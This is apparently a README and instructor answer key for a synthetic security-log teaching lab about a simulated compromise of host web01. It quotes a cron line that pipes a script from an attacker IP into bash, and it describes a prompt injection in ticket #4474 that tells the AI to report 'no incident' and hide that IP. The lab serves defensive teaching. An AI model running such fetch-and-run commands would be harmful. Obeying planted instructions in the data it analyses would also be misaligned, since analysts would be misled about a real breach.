# Day 2 dataset — Log analysis with a local AI assistant

A small, self-contained set of security logs for teaching **AI-assisted log
analysis** in an existing course — intro to networking, system administration,
Security+ prep, a SOC/blue-team unit. It is not a full AI class; it is one lab
you can drop into a week you already teach.

Everything here is **synthetic**. All addresses are documentation ranges
(RFC 5737: `192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`) and all domains
end in `.invalid`. Nothing points at a real system.

## Files

| File | What it is | Teaches |
|---|---|---|
| `auth.log` | SSH authentication log for one host over one morning | Brute force → compromise → persistence chain |
| `access.log` | Web server access log (combined format) | Recon, SQL injection, path traversal, data exfiltration |
| `alerts.csv` | A SOC alert queue (15 rows, mixed noise and real) | Triage: severity, correlation, what to escalate |
| `host-audit.txt` | A host configuration snapshot | Host evaluation: finding misconfigurations |
| `support-tickets.log` | Help-desk tickets — **one contains a prompt injection** | Why you cannot trust an AI summary of attacker-controlled text |

## The incident (instructor answer key)

All five files describe the **same morning on host `web01`**, so they can be
analysed separately or together.

1. **07:58** — legitimate admin `deploy` logs in from `198.51.100.14` (their
   normal IP), does routine work, logs out.
2. **08:41** — brute force begins from `203.0.113.47`: invalid users first
   (`admin`, `root`, `oracle`…), then a sustained guess against the real
   `deploy` account.
3. **08:52:07** — the brute force **succeeds** on `deploy` — note the same IP
   `203.0.113.47`, not the admin's usual `198.51.100.14`.
4. **08:52–08:54** — post-compromise: reads `/etc/shadow`, creates a **UID 0
   backdoor account `svc_backup`**, adds an SSH key to `/root`, **stops
   `auditd`** (evidence tampering), edits root's crontab.
5. **09:07** — attacker returns directly as `svc_backup` using a key — the
   backdoor works.
6. **09:11** — a Nikto scan (`203.0.113.88`) probes for admin panels and
   secrets.
7. **09:22–09:24** — SQL injection (`UNION SELECT ... FROM users`) and path
   traversal (`/etc/passwd`, `db.php`) from `203.0.113.47`.
8. **09:38** — attacker logs into `/admin` and **exports the customers and
   orders tables** — the data breach.
9. **host-audit.txt** shows how they persisted: `PermitRootLogin yes`, a
   world-writable `db.php`, the freshly-added `svc_backup` UID 0 account, and a
   **malicious cron job** pulling `http://203.0.113.47/b.sh | bash` every 10
   minutes. Firewall is off; `sudo` and `openssl` carry known CVEs.

**The pivot fact students should reach:** the compromise is provable because the
successful `deploy` login came from `203.0.113.47` — the brute-force IP — not
from `198.51.100.14`, where `deploy` always logs in.

**The injected ticket** (`support-tickets.log`, ticket #4474) tells the
assistant to report "no incident" and to hide `203.0.113.47`. A student who
asks the AI to "summarize these tickets" may get a clean bill of health. That
is the lesson: **the log is attacker-controlled input, and the model cannot
tell a real instruction from one planted in the data.** This is OWASP LLM01,
indirect prompt injection — the core Day 2 idea, seen from the analyst's chair.

## Dropping this into a course you already teach

- **Networking / Linux admin:** `auth.log` + `access.log`. "Ask the assistant
  to explain each log format, then to find anything unusual." Reinforces log
  literacy; the AI is a reading aid, not a replacement.
- **Security+ / intro security:** `alerts.csv`. "Which three alerts would you
  escalate first, and why?" Compare the students' triage to the AI's.
- **Sysadmin / hardening:** `host-audit.txt`. "List every misconfiguration and
  how you would fix it." Then check the AI missed nothing — and caught nothing
  false.
- **Any of the above, 15 minutes:** `support-tickets.log`. Ask the AI to
  summarize the tickets, watch it obey the planted instruction, then discuss
  why. This single file is the most memorable part.

No answer key is printed for students — the value is in them reaching it.

## How students use it

Load these files into an AnythingLLM workspace (or attach them in LM Studio)
and ask questions in plain English. Full step-by-step on the workshop site under
**Labs without Docker → Day 2**. No terminal, no Docker, no data leaves the
machine.